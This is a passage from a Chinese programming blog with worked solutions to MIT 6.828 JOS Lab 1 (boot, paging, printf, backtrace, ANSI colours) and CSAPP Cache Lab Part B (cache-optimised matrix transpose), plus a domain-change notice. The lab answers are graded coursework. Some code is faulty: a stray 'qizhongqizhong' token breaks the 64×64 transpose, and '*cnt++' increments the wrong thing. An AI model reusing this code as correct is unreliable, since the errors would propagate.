printf("2: a[0] = %d, a[1] = %d, a[2] = %d, a[3] = %d\n", a[0], a[1], a[2],
a[3]);
// 输出200 101 102 103

c[1] = 300; // 将c[1]也就是a[1]改为300
*(c + 2) = 301; //将*(c + 2)也就是a[2]改为301
3 [c] = 302; // 将3[c]也就是c[3]改为302
printf("3: a[0] = %d, a[1] = %d, a[2] = %d, a[3] = %d\n", a[0], a[1], a[2],
a[3]);
// 输出200 300 301 302

c = c + 1; // 令c指向a[1]
*c = 400; // 将a[1]改为400
printf("4: a[0] = %d, a[1] = %d, a[2] = %d, a[3] = %d\n", a[0], a[1], a[2],
a[3]);
// 输出200 400 301 302

c = (int *)((char *)c + 1);
// 将c先转换为char指针指向下一个字节后再转回int指针
// 现在a数组的字节分布为(小端)C8000000 90010000 2D010000 2E010000
| (c的指针)*c = 500;
// 执行后的a数组字节分布(小端)C8000000 90F40100 00010000 2E010000
printf("5: a[0] = %d, a[1] = %d, a[2] = %d, a[3] = %d\n", a[0], a[1], a[2],
a[3]);
// 输出200 128144 256 302

b = (int *)a + 1;
// 将b指向a[1]
c = (int *)((char *)a + 1);
// 将a先转换为char指针指向下一个字节后再转回int指针
printf("6: a = %p, b = %p, c = %p\n", a, b, c);
// 输出0xff9bebcc, 0xff9bebd0和0xff9bebcd
}

int main(int ac, char **av) {
// 函数入口
f();
return 0;
}

练习5:
修改了text段的加载地址使得汇编代码中的跳转地址出现错误,进而导致整个引导因为错误提前终止。

练习6:
结果是非常显然的,因为引导的作用就是将内核从磁盘加载进入内存中。使用objdump -h obj/kern/kernel可以看到如下的信息:
0 .text 00001809 f0100000 00100000 00001000 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
可以直到内核的text段会被加载至内存中0x100000(物理地址)处。

第三部分 内核

使用虚拟内存去解决位置依赖

可以发现内核将自己链接至了非常高的虚拟地址,比如0xf0100000,为了将处理器虚拟地址的较低部分给用户程序去使用。将在下一个实验介绍这一现象。

实际上,许多的机器在物理内存中并没有0xf0100000这样的高地址。实际上由处理器的内存管理硬件将虚拟地址0xf0100000映射到了实际内存中的物理地址0x100000。

这涉及了分页机制以及页表。
在kern/entry.S设置CR0_PG标记之前,内存引用被当做线性地址。实际上,由于在boot/boot.S设置了线性地址到物理地址的一致映射,所以线性地址在这里可以等同于物理地址。
当CR0_PG标记被设置了之后,所有的内存引用都被当作虚拟地址。虚拟地址通过虚拟内存硬件被翻译成物理地址。
kern/entrypgdir.c将0xf0000000到0xf0400000的虚拟地址翻译为物理地址的0x000000到0x400000,也将0x00000000到0x00400000的虚拟地址翻译为物理地址的0x00000000到0x00400000。
引用这些地址范围以外的虚拟地址将会抛出缺页的异常。
但是还没有为该异常设置中断处理程序。这会导致QEMU导出机器状态并退出。

练习7:
在movl %eax, %cr0指令(启动页表)之前,0x00100000出的内存不为空,0xf0100000出的内存全为0。
当stepi之后,0xf0100000处的内存和0x00100000处的内存完全一样。这表明已经成功启用了页表,并且完成了地址的映射。

控制台的格式化字符串

练习8:
缺失的代码为:

1
2
3
4
case 'o':
num = getuint(&ap, lflag);
base = 8
goto number;

  1. console.c提供了基本的I/O操作,同时封装了cputchar、getchar等函数供printf.c中的printf使用。printf使用了vprintfmt去解析格式化字符串并提供可变参数的特性。
  2. 这段代码主要实现了换行。其首先检查了当前的光标是否超过了最大值,如果是,则证明需要进行换行。其将第1行到第MAX-1行的内容复制到第0行到第MAX-2行所在的内存中,然后将第MAX-1行置空。最后将光标设置到新一行的开始。
  3. fmt指向了格式化字符串”x %d, y %x, z %d\n”
    ap指向了局部变量并且初始值为1
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    vcprintf(0xf0102449, 0xf0110e14);
    0xf0102449 -> "x %d, y %x, z %d\n" 0xf0110e14 -> 1
    cons_putc(120);
    cons_putc(32);
    va_arg(0xf0110dbc, int);
    Before: 0xf0110dbc -> 0xf0110e14 -> 1
    After: 0xf0110dbc -> 0xf0110e18 -> 3
    cons_putc(49);
    cons_putc(44);
    cons_putc(32);
    cons_putc(121);
    cons_putc(32);
    va_arg(0xf0110dbc, int);
    Before: 0xf0110dbc -> 0xf0110e18 -> 3
    After: 0xf0110dbc -> 0xf0110e1c -> 4
    cons_putc(51);
    cons_putc(44);
    cons_putc(32);
    cons_putc(122);
    cons_put(32);
    va_arg(0xf0110dbc, int);
    Before: 0xf0110dbc -> 0xf0110e1c -> 4
    After: 0xf0110dbc -> 0xf0110e20 -> 536870922
    cons_put(52);
    cons_put(10);
    注意这里va_arg是宏而不是函数,不能通过加断点的方式跟踪。我采用的方法是在调用va_arg的地方添加断点并跟踪。
    在GNUmakefile中的C_FLAGS -O1会重排C代码,导致了追踪va_arg变得困难。所以,仅在此处将-O1变成-O0,尽管这会导致在backtrace时kernel panic。
  4. 57616 = 0xe110。此外,根据x86的小端序,&i指向了byte序列0x72、0x6c、0x64、0x00。这等同于字符串”rld”。所以,最终的输出为”He110 World”。
    需要将i改为0x726c6400。不需要修改57616。
  5. 这是由于程序从格式化字符串中推断出了应当有3个参数,所以程序会从cprintf的栈中多读取一个参数。但实际上只有2个参数。所以最后一个参数是未指定的。
  6. vcprintf(…, const char * fmt)。

练习9:
f0100034: bc 00 00 11 f0 mov $0xf0110000,%esp
这一条指令初始化了引导栈,它位于0xf0110000处。内核仅通过设置esp寄存器的值为栈预留空间。栈指针指向高地址,并且栈自高地址向低地址延伸。

练习10:
本题考察了x86架构下的栈帧与函数调用。
函数调用时先将返回地址压栈,然后跳转至目标函数的起始地址;在目标函数内先将ebp寄存器的值(栈底)压栈保存,然后再将栈顶指针设置为新的栈底;
在函数中调用函数需要使用栈来传递参数,即将函数的参数以此压入栈中;
test_backtrace函数的汇编中使用了ebx寄存器,该寄存器为被调用者保存的寄存器,在使用的时候也要先压栈保存,再函数返回时恢复;
函数返回的时候通过先操作esp释放栈资源,然后恢复相应的被调用者保存的寄存器的值,最后调用汇编指令leave、ret返回;
leave指令先将esp的值置为ebp,然后再从栈中取出被保存的ebp的旧值;ret从栈中取出返回地址并跳转。

练习10-12:
mon_backtrace的实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int mon_backtrace(int argc, char **argv, struct Trapframe *tf) {
uint32_t ebp, eip, args[5];
struct Eipdebuginfo info;
cprintf("Stack backtrace:\n");
for (ebp = read_ebp(); ebp != 0; ebp = *((uint32_t *)ebp)) {
eip = *((uint32_t *)ebp + 1);
debuginfo_eip(eip, &info);
args[0] = *((uintptr_t *)ebp + 2);
args[1] = *((uintptr_t *)ebp + 3);
args[2] = *((uintptr_t *)ebp + 4);
args[3] = *((uintptr_t *)ebp + 5);
args[4] = *((uintptr_t *)ebp + 6);
cprintf(" ebp %08x eip %08x args %08x %08x %08x %08x %08x\n", ebp,
eip, args[0], args[1], args[2], args[3], args[4]);
cprintf(" %s:%d: %.*s+%d\n", info.eip_file, info.eip_line,
info.eip_fn_namelen, info.eip_fn_name, eip - info.eip_fn_addr);
}
return 0;
}

查阅STABS文档可以知道表示行号的成员是n_desc,所以debuginfo_eip的缺失的代码如下:
1
2
3
4
5
6
stab_binsearch(stabs, &lline, &rline, N_SLINE, addr);
if (lline <= rline) {
info->eip_line = stabs[lline].n_desc;
} else {
return -1;
}

修改后的commands结构体如下:
1
2
3
4
5
static struct Command commands[] = {
{ "help", "Display this list of commands", mon_help },
{ "kerninfo", "Display information about the kernel", mon_kerninfo },
{ "backtrace", "Display information about the stack frames", mon_backtrace },
};

提高 - 允许控制台输出不同颜色的文本

要求能增强控制台的功能使得控制台可以输出不同颜色的字体。这里使用了传统的实现,解析嵌入在文本字符串中的ANSI转义序列来实现题目的要求。

在王爽的《汇编语言》中,已经接触过了字符的“属性字节”,一个字符的自低到高的第2个字节可以作为属性字节,用来指示字符的属性如闪烁、高亮、前景色、背景色等。
有关于ANSI转义序列的相关知识可以参考这里

出于简化考虑,只部分实现ANSI转义序列中的ESC[Ps;...;Psm

实现的思路是实现<kern/printf.c>中的punch函数的替代版本attribute_punch,来实现对于ANSI转义序列的解析,并且相应地设置字符的属性字节。

解析所需要的状态机具有三个状态:A_NORM代表正常的输出字符的状态、A_TRANS代表接收到[ESC]开始,从正常状态到解析转义序列的过渡状态、A_ESCAPE代表解析转义序列的状态。它们之间的状态转换图如图所示:

value用来存储每一个解析到的值,temp代表了解析过程中临时的属性字节,attribute代表了当前打印字符时附加的属性字节。

具体的实现代码在<kern/printf.c>中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
// state for ANSI escape sequence interpretation
enum { A_NORM = 0, A_TRANS, A_ESCAPE };

// colormap - number (x - 30/40)[0, 7] -> attribute byte
static uint16_t colormap[8] = {
0x0000, 0x4400, 0x2200, 0x6600, 0x1100, 0x5500, 0x3300, 0x7700,
};

static void attribute_punch(int ch, int *cnt) {
static int value = 0; // value
static int state = A_NORM; // current state
static int temp = 0x0000,
attribute = 0x0000; // temp attribute, current attribute

switch (state) { // state machine
case A_NORM:
if (ch == 0x1B) { // [ESC]
state = A_TRANS; // transfer from A_NORM to A_TRANS
} else {
cputchar((attribute & 0xFF00) |
ch); // put character with attribute
*cnt++;
}
break;
case A_TRANS:
if (ch == '[') { // [
state = A_ESCAPE; // transfer from A_TRANS to A_ESCAPE
} else {
state = A_NORM; // transfer from A_TRANS to A_NORM
}
break;
case A_ESCAPE:
if (ch >= '0' && ch <= '9') { // digit - update value
value = value * 10 + ch - '0';
} else if (ch == ';' ||
ch == 'm') { // ; or m set temp and clear value
if (value == 0) {
temp = colormap[0];
} else if (value == 5) {
temp |= 0x8000;
} else if (value >= 30 && value <= 38) {
temp |= colormap[value - 30] &
0x0700; // look up in color map
} else if (value >= 40 && value <= 48) {
temp |=
colormap[value - 40] & 0x7000; // avoid complex cases
}
value = 0;
if (ch == 'm') { // m needed extra work - update attribute
attribute = temp;
temp = 0x0000;
state = A_NORM; // transfer from A_ESCAPE to A_NORM
}
} else { // non_digit nor m
state = A_NORM; // transfer from A_ESCAPE to A_NORM
}
break;
}
}

int vcprintf(const char *fmt, va_list ap) {
int cnt = 0;

// vprintfmt((void*)putch, &cnt, fmt, ap);
// use attribute_punch rather than punch
vprintfmt((void *)attribute_punch, &cnt, fmt, ap);
return cnt;
}

最后在monitor.c中添加相关cprintf代码,并重新编译测试。最终如图所示:

有关于实验指导中提到的打开vga硬件的graphics mode使得控制台绘制文本到图形帧缓冲区的实现,由于时间和难度原因,这里暂时跳过。

实验小结

最终执行make grade,评分脚本的输出如下:

1
2
3
4
5
6
7
running JOS: (1.2s)
printf: OK
backtrace count: OK
backtrace arguments: OK
backtrace symbols: OK
backtrace lines: OK
Score: 50/50

至此,实验一结束。

第一个实验总体来说更偏重于概念的理解、工具的使用而不是实际的代码。

尽管如此,大量的概念也浪费了我很多时间去理解。MIT的6.828同清华的ucore操作系统实验相比提供了相当多的reference(ucore的阅读材料几乎都是现成的),这也对文档阅读和信息检索能力有了更高的要求。

评论和共享

域名变更说明

发布在 通知

域名信息

  1. 2016年1月3日,域名duskdragon.com随阿里云学生主机一起购入,预计于2017年1月3日过期
  2. 2016年2月1日,域名duskdragon.com备案完成
  3. 2016年11月6日,域名duskdragon.com续费1年,预计于2018年1月3日过期
  4. 2017年11月20日,新域名codedragon.tech购入,预计于2022年11月21日过期

域名变更说明

从即日起至2018年1月3日,旧域名duskdragon.com和新域名codedragon.tech将同时有效,可通过这两个域名中的任意一个的二级域名blog访问本博客。

从2018年1月4日起,旧域名duskdragon.com将完全废弃,仅可通过codedragon.tech的二级域名blog访问本博客。

本次域名变更主要为了使域名更加贴近码龙的设定,并且在相当长的一段时间内都将会维持稳定;次要的考量在于.com域名的相对高价格。

由于codedragon.com已被注册,所以退而求其次地选择了codedragon.tech作为新域名。

博客更新说明

本次域名更新的同时也对博客进行了更新

  1. 更换了新的头像 - Character(c) 我/Art By 漫步
  2. 博客描述性文字的修改
  3. 如果不额外说明,本博客的所有文章默认以CC BY-NC-SA 4.0即署名-非商业性使用-相同方式共享4.0国际发布。有关该协议的概要可以参考这里
  4. 修复了失效的友情链接并添加了Suncio的博客为友情链接

评论和共享

实验答案托管在我的GitHub

Cache Lab的Part B是我卡了比较久的实验,在7月份做完Part A之后我卡在了Part B的第二个矩阵优化,之后进度一直缓慢。直到几天之前团队分享,我才把这个实验重新捡了回来,最终将第二个矩阵转置优化到了1500+的miss数(尽管仍然没有达到满分),后参考了网上的思路完成了Part B,总结如下。

实验简介

Cache Lab - Understanding Cache Memories主要是有关缓存的实验,对应于书本的第6章:存储器层次结构。主要阐明了缓存对于C语言程序的性能影响。

本实验的第二部分要求优化一个简单的矩阵变换函数,使其具有尽可能晓得缓存不命中数。

关于本实验的具体介绍详见实验讲义

实验要求 - Part B

在Part B中你需要在trans.c中写一个矩阵转置函数,该函数要能有尽可能少的缓存不命中(miss)数。

令A代表一个矩阵,A(i, j)代表矩阵A的第i行第j列的元素。
那么,令B为矩阵A的转置,则对于A中的任意一个元素,满足A(i, j) = B(j, i)。

一个朴素的矩阵转置函数如下:

1
2
3
4
5
6
7
8
9
10
11
void trans(int M, int N, int A[N][M], int B[M][N]) {
int i, j, tmp;

for (i = 0; i < N; i++) {
for (j = 0; j < M; j++) {
tmp = A[i][j];
B[j][i] = tmp;
}
}

}

该函数是正确的,但却并不是高效的,因为其访问模式导致了相当多的缓存不命中。

你的任务是完成一个相似的函数,并对于不同大小的矩阵块(32×32,64×64,61×67),最小化该函数的缓存不命中数。

对于Part B有以下的要求和限制:

  1. 你所写的程序在编译时不能有任何的警告
  2. 在每一个你所写的转置函数中,你最多只能定义12个int型的局部变量
  3. 你不能使用long型的变量或是使用任何的技巧来使得在一个变量中存入多余一个的值
  4. 你的转置函数不能使用递归
  5. 如果你使用辅助函数,那么在同一时刻,你的调用栈上也不能出现超过12个局部变量
  6. 你的转置函数不能修改矩阵A,但是,你能任意的修改矩阵B
  7. 你不能定义任何的数组或是任何使用malloc的变量

实验过程 - Part B

缓存简介

局部性

局部性分为时间局部性和空间局部性——在一个具有良好的时间局部性的程序中,被引用过一次的内存位置可能在不远的将来再被多次引用。在一个具有良好的空间局部性的程序中,如果一个内存位置被引用了,那么程序很可能在不远的将来引用附近的一个内存位置。

一般来说,有良好局部性的程序比局部性差的程序运行的更快。现代计算机系统的各个层次,设计都利用了局部性。

在硬件层,通过高速缓存存储器来保存最近被引用的代码和数据,提高对主存的访问速度。
在操作系统层面,将虚拟内存作为主存和磁盘间高速缓存。
在网络中,主机可以作为代理缓存经常被访问的网页,浏览器也可以缓存最近访问过的页面。

存储器层次结构

我们可以依次地组织不同的存储器,形成一个典型的存储器层次结构。如下图所示。

在该结构中,自高层向底层走,存储设备变得更慢、更便宜和更大。每一层的存储器都作为下一级存储器的缓存。

高速缓存

早期的计算机系统的存储器结构只有3层:CPU寄存器、DRAM主存储器和磁盘存储。随着CPU和主存之间不断加大的差距,系统设计者被迫在寄存器文件和主存之间加入了一个小的SRAM高速缓存处理器,称为L1高速缓存(一级缓存),L1高速缓存的访问速度几乎和寄存器一样快,典型地是约4个时钟周期。

随着CPU和主存之间的性能差距进一步增大,系统设计者在L1缓存和主存之间又加入了一个更大的高速缓存,称为L2高速缓存,可以在约10个时钟周期内被访问到。

有些现代系统还包括有一个更大的高速缓存,称为L3高速缓存,它位于L2高速缓存和主存之间,可以在大约50个时钟周期内被访问到。

组织结构

假定一个计算机系统,其每个存储器地址为m位,那么形成了M = 2 ^ m个不同的地址。

这样一个机器的高速缓存被组织成一个有S = 2 ^ s个高速缓存组(Cache Set)的数组,每个组包含E个高速缓存行(Cache Line)。每个行是由一个B = 2 ^ b字节的数据块(Block)组成的,一个有效位(valid bit)指明这个行是否包含有意义的信息。t = m - (b + s)个标记位(tag bit),它们唯一地标识存储在这个高速缓存行中的块。

一个通用的高速缓存组织结构可以用元组(S, E, B, m)来描述。
高速缓存的大小C指的是所有块(不包括标记位和有效位)的大小的和,C = S × E × B。

一个m位的地址L被组织为3个部分,分别是高t位的标记位,中间s位的组索引以及低b位的块偏移。

L中的s个组索引是一个到S个组的数组的索引,从0开始。其指示了该地址所指示的字应当存储到哪个组中。
L中的t个标记位指明了该组中的哪一行包含这个字。当且仅当有效位为1且行的标记位与地址的标记位相同时,组中的行才包含了这个字。
块偏移b指明了在B个字节的数据块中的字偏移。

分类

根据每个组的高速缓存行数E,高速缓存被分为不同的类:

  • 直接映射高速缓存。直接映射高速缓存中每个组只有一行(E = 1)。
  • 组相连高速缓存。组相连高速缓存放宽了直接映射高速缓存中每个组只有一行的限制(1 < E < C/B)。
  • 全相连高速缓存。全相连高速缓存是由一个包含了所有高速缓存行的组(E = C/B)组成的。

组相连高速缓存引入了不命中时行替换策略的问题。比较常见的策略有最不常使用(LFU)和最近最少使用(LRU)。

由于构造又大又快的相连高速缓存很困难,全相连高速缓存通常只适合做小的高速缓存,如TLB(翻译备用缓冲器)。

高速缓存写

高速缓存写分为直写和写回。

  • 直写,当缓存更新后立刻将相应的高速缓存块写回到下一层存储器中。直写的缺点在于每次写都会引起总线流量。
  • 写回,尽可能地推迟更新,只有当替换算法需要驱逐更新过的块时,才执行写入操作。写回极大地降低了总线流量。但是高速缓存必须对于每一个高速缓存行维护一个额外的修改位(dirty bit)来表明这个高速缓存块是否会修改过。

实验思路

首先要明确,尽管矩阵的转置本身导致对于A矩阵(原始矩阵)的读和B矩阵(转置矩阵)的写不可能同时为连续的(即不可能同时存在连续读和连续写——对A矩阵行的连续读必然导致对B矩阵列的非连续写)。
但只要矩阵的大小小于缓存的总大小,那么在理想的情况下,在最初的强制不命中(即缓存为空导致的不命中)后,整个矩阵都会被加载进入缓存。在这之后的所有对于B矩阵的不连续写的引用都会命中。

在该实验中,缓存采用的是直接映射高速缓存,s = 5,b = 5,E = 1。对于该缓存,总共存在32个组,每个组共32个字节,可以装入8个int型变量,是非常有限的缓存,主要需要解决以下两个问题:

  1. 直接映射缓存所带来的冲突不命中。观察程序中矩阵存储的位置即可以发现,矩阵A和矩阵B的同一行实际上被映射到了同一个缓存组。当进行对角线的引用时,一定会发生缓存的冲突不命中。需要仔细地处理对角线上的元素。
  2. 所需优化的矩阵的总大小超出了缓存的总大小。必然导致程序的访存效率低下。

为了解决第一个问题,我们需要仔细地考虑对于矩阵元素访问的顺序。至于第二个问题,我们采用矩阵的分块技术来降低不命中数。

矩阵分块的目的在于将大的、不能完全加载进入缓存的大矩阵分块成小的、可以完全加载进入缓存的小矩阵块来处理。小矩阵块具有良好的局部性,性能显著增加。
但同时也要注意,分块使得程序的可阅读性大大降低,因此一般只在常用的库函数中采用分块优化。

第一部分 32 × 32矩阵优化

第一部分满分的要求是300个misses以内,misses超过600则0分。

首先对矩阵进行分块处理。为了完全利用每一个缓存快(32个字节)采用8 × 8分块。然后处理对角线的问题。这里我采用的方法是无论是哪一个矩阵分块,均从该矩阵分块的对角线开始处理。同时对于A矩阵(原始矩阵)按列优先(不连续读),对于B矩阵(转置矩阵)按行优先(连续写)。

通过优先处理对角线(a, a)的元素,保证了B矩阵的第a行被载入缓存中,接下来对于A矩阵的列优先处理保证了B矩阵的第a行缓存被充分利用。

对于32 × 32的矩阵,总共存在1024次读和1024次写。对于非对角线的分块(总共12个),其缓存不命中率是1/8(仅强制不命中),对于对角线的分块(总共4个),其写的缓存不命中率是1/8(强制不命中),其读的缓存不命中率为1/4(强制不命中和冲突不命中各一半)。

因此,理论上优化之后的总缓存不命中数为2048 × 0.75 × 0.125 + 1024 × 0.25 × 0.125 + 1024 × 0.25 × 0.25 = 288次。

第一部分优化之后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
for (a = 0 ; a < N ; a += 8) {
for (b = 0 ; b < M ; b += 8) {
for (c = b ; c < b + 8 ; ++c) {
for (d = a + c - b ; d >= a ; --d) {
B[c][d] = A[d][c];
}
for (d = a + c - b + 1 ; d < a + 8 ; ++d) {
B[c][d] = A[d][c];
}
}
}
}

实际测试的缓存不命中数为287次,与理论值几乎一致。

第二部分 64 × 64矩阵优化

第二部分的满分要求是misses小于1300,当misses大于2000则零分。

第二部分对于misses的要求限制的非常严格,同时如果采用第一部分的8 × 8分块方式会出人意料地带来大量的misses。下面具体分析8 × 8分块导致misses增多的原因。

实验采用的缓存为直接映射高速缓存,s = 5, b = 5, E = 1。对于任意一个地址,其从低地址开始的第0-4位为块偏移b,第5-9为组索引s。

对于32 × 32的矩阵M来说,M[0][1]和M[1][1]之间总共间隔32个int型元素,也就是0x80个字节,也就是说,同一列相邻行的元素之间的地址间隔为0x80 = 0x100|00000。对于8 × 8的矩阵分块而言,其8行可以全部被加载进入缓存中而不发生任何冲突不命中。

然而,对于64 × 64的矩阵,其同一列相邻行的元素之间的地址间隔为0x100 = 0x1000|00000。对于8 × 8的矩阵分块而言,其第1、2、3、4行的元素会和第5、6、7、8行的元素占用相同的高速缓存组,进而出现严重的冲突不命中现象。

使用4 × 4的矩阵分块又无法充分利用每一个高速缓存行(32个字节=8个int数据),仍然无法达到所要求的misses数。

经过大量的尝试,我使用了以下的方法进行矩阵转置的优化:

仍然按照8 × 8对矩阵进行分块,只是在8 × 8的分块内部再按照4 × 4进一步分块,得到左上、右上、左下、右下4个子块。

紧接着依次按照左上、右上、右下、左下的方式处理4个子块(A矩阵)。
对于左上、右下这两个可能出现对角线元素的块,按照第一个矩阵优化的方式进行处理。
右上、左下子块不能简单地按照A矩阵不连续读,B矩阵连续写的方式处理。原因是对于对角线上的8 × 8分块来说,A、B矩阵的左上子块和右下子块占用了相同的高速缓存组,存在着严重的冲突不命中风险。
因此对于右上、左下的子块,我们按照下图的方式处理。

图中,上方的矩阵为矩阵A,下方的矩阵为矩阵B,小方块代表矩阵的元素,黑色方块的表明加载进入临时变量/已写入的元素。红色的线表明该行被缓存。

  1. 利用8个临时变量,将左上子块的前两行加载进入临时变量中,考虑到之前的缓存条件,该次加载的缓存命中。
  2. 将一个小的2×2的矩阵转置写入矩阵B右下子块的前两行,无论是否为对角线上的分块,该次写入一定会发生缓存不命中,同时将B矩阵的前两行载入高速缓存行。
  3. 将矩阵A左上子块的后两行的2×2的矩阵加载进入空闲的4个临时变量中,同之前加载相似,该次加载的缓存命中。
  4. 将刚刚加载的2×2矩阵转置写入B矩阵右下子块前两行的剩余位置,由于之前这两行已经加载进入了高速缓存行,故该次写入的缓存全部命中。
  5. 将矩阵A后两行的剩余元素加载进入空闲的4个临时变量中,缓存命中。
  6. 将8个临时变量中的元素依次转置写入矩阵B右下子块的最后两行中,同2相似,写入一定会发生缓存不命中,同时将矩阵B的后两行载入高速缓存行。

A矩阵左下子块的转置操作类似,这里不再赘述。

在A矩阵右上子块转置完成后,紧接着执行的是右下子块的转置,此时,对于非对角线上的分块而言,写入时的缓存必定命中。对于对角线上的分块,则会发生缓存不命中。

因此,对于64 × 64的矩阵,总共进行4096次读和4096次写,对于非对角线的分块(总共56个),对于A矩阵(原始矩阵而言),其左上、右下分块的不命中率为1/4,左下、右上分块的不命中率为0;对于B矩阵(转置矩阵而言),其左上、右上、左下分块的不命中率均为1/4,右下分块的不命中率为0。对于对角线上的矩阵,其B矩阵不命中率上升至1/4,对于A矩阵,其左上、右下的不命中率上升至1/2。

因此,理论上优化之后的总缓存不命中数为4096 × (8/64) × (1/2 × 1/4 + 0 × 1/4 + 0 × 1/4 + 1/2 × 1/4) + 4096 × (8/64) × 1/4 + 4096 × (56/64) × (1/4 × 1/4 + 0 × 1/4 + 0 × 1/4 + 1/4 × 1/4) + 4096 × (56/64) × (1/4 × 1/4 + 1/4 × 1/4 + 0 × 1/4 + 1/4 × 1/4) = 1376次。

该优化方法对应的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
for (a = 0 ; a < M ; a += 8) {
for (b = 0 ; b < N ; b += 8) {
for (c = a ; c < a + 4 ; ++c) {
for (d = b + c - a ; d >= b ; -- d) {
B[c][d] = A[d][c];
}
for (d = b + c - a + 1; d < b + 4 ; ++d) {
B[c][d] = A[d][c];
}
}

tmp0 = A[b][a + 4];
tmp1 = A[b][a + 5];
tmp2 = A[b][a + 6];
tmp3 = A[b][a + 7];
tmp4 = A[b + 1][a + 4];
tmp5 = A[b + 1][a + 5];
tmp6 = A[b + 1][a + 6];
tmp7 = A[b + 1][a + 7];
B[a + 4][b] = tmp0;
B[a + 4][b + 1] = tmp4;
B[a + 5][b] = tmp1;
B[a + 5][b + 1] = tmp5;
tmp0 = A[b + 2][a + 4];
tmp4 = A[b + 2][a + 5];
tmp1 = A[b + 3][a + 4];
tmp5 = A[b + 3][a + 5];
B[a + 4][b + 2] = tmp0;
B[a + 4][b + 3] = tmp1;
B[a + 5][b + 2] = tmp4;
B[a + 5][b + 3] = tmp5;
tmp0 = A[b + 2][a + 6];
tmp4 = A[b + 2][a + 7];
tmp1 = A[b + 3][a + 6];
tmp5 = A[b + 3][a + 7];
B[a + 6][b] = tmp2;
B[a + 6][b + 1] = tmp6;
B[a + 6][b + 2] = tmp0;
B[a + 6][b + 3] = tmp1;
B[a + 7][b] = tmp3;
B[a + 7][b + 1] = tmp7;
B[a + 7][b + 2] = tmp4;
B[a + 7][b + 3] = tmp5;

for (c = a + 4; c < a + 8 ; ++c) {
for (d = b + c - a ; d >= b + 4 ; --d) {
B[c][d] = A[d][c];
}
for (d = b + c - a + 1 ; d < b + 8 ; ++d) {
B[c][d] = A[d][c];
}
}

tmp0 = A[b + 6][a];
tmp1 = A[b + 6][a + 1];
tmp2 = A[b + 6][a + 2];
tmp3 = A[b + 6][a + 3];
tmp4 = A[b + 7][a];
tmp5 = A[b + 7][a + 1];
tmp6 = A[b + 7][a + 2];
tmp7 = A[b + 7][a + 3];
B[a + 2][b + 6] = tmp2;
B[a + 2][b + 7] = tmp6;
B[a + 3][b + 6] = tmp3;
B[a + 3][b + 7] = tmp7;
tmp2 = A[b + 4][a + 2];
tmp3 = A[b + 4][a + 3];
tmp6 = A[b + 5][a + 2];
tmp7 = A[b + 5][a + 3];
B[a + 2][b + 4] = tmp2;
B[a + 2][b + 5] = tmp6;
B[a + 3][b + 4] = tmp3;
B[a + 3][b + 5] = tmp7;
tmp2 = A[b + 4][a];
tmp3 = A[b + 4][a + 1];
tmp6 = A[b + 5][a];
tmp7 = A[b + 5][a + 1];
B[a][b + 4] = tmp2;
B[a][b + 5] = tmp6;
B[a][b + 6] = tmp0;qizhongqizhong
B[a][b + 7] = tmp4;
B[a + 1][b + 4] = tmp3;
B[a + 1][b + 5] = tmp7;
B[a + 1][b + 6] = tmp1;
B[a + 1][b + 7] = tmp5;
}
}

实际测试的缓存不命中数是1379次。

到了这里我已经优化到了极限,但是依然没有达到满分,最后参考了网上的满分答案。
这里要注意到,实验讲义中说的很清楚,不允许修改矩阵A,但是矩阵B可以任意修改。因此,我们可以通过在矩阵B中暂存转置的结果来充分利用缓存,进一步降低缓存不命中数。思路如下图。

  1. 按行加载矩阵A,并且将其存入矩阵B。依次执行4次,直到整个分块的上半部分处理完毕。其中,每行的前4个元素被正确转置,后四个元素被暂存至矩阵B的右上分块。
  2. 对于分块的下半部分的第一行,先将矩阵B的右上分块的4个元素载入至临时变量,然后从矩阵A中的左下分块读取第一列并转置进入矩阵右上分块的第一行,然后将读出的4个元素存入矩阵B右下分块的第一行,最后再将矩阵A右下分块第一列转置送入矩阵B右下分块的第一行。
  3. 按照2的方式依次处理完下半部分的所有行。

对于一个8×8的分块而言,过程1处理了分块的上半部分,共执行了32次读和32次写。对于对角线上的分块,其读不命中率为1/8,写不命中率为1/4;对于非对角线上的分块,其读不命中率为1/8,写不命中率为1/8。过程2和3处理了分块的下半部分包括将矩阵B的右上子块移动到正确位置,将矩阵A的左下子块转置到B的右上子块以及矩阵A右下子块的转置,共执行了48次读和48次写。对于对角线上的分块,其读不命中率为1/3,写不命中率为1/4;对于非对角线上的分块,其读不命中率为1/12,写不命中率为1/12。

因此对于56个非对角线分块以及8个对角线分块,理论上优化后的总缓存不命中数为(32 × 1/8 + 32 × 1/8) × 56 + (32 × 1/8 + 32 × 1/4) × 8 + (48 × 1/12 + 48 × 1/12) × 56 + (48 × 1/3 + 48 × 1/4) × 8 = 1216次。

该优化方法的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
for (a = 0 ; a < N ; a += 8) {
for (b = 0 ; b < M ; b += 8) {
for (c = b ; c < b + 4 ; ++c) {
tmp0 = A[c][a];
tmp1 = A[c][a + 1];
tmp2 = A[c][a + 2];
tmp3 = A[c][a + 3];
tmp4 = A[c][a + 4];
tmp5 = A[c][a + 5];
tmp6 = A[c][a + 6];
tmp7 = A[c][a + 7];
B[a][c] = tmp0;
B[a + 1][c] = tmp1;
B[a + 2][c] = tmp2;
B[a + 3][c] = tmp3;
B[a][c + 4] = tmp4;
B[a + 1][c + 4] = tmp5;
B[a + 2][c + 4] = tmp6;
B[a + 3][c + 4] = tmp7;
}
for (c = a + 4 ; c < a + 8 ; ++c) {
tmp0 = B[c - 4][b + 4];
tmp1 = B[c - 4][b + 5];
tmp2 = B[c - 4][b + 6];
tmp3 = B[c - 4][b + 7];

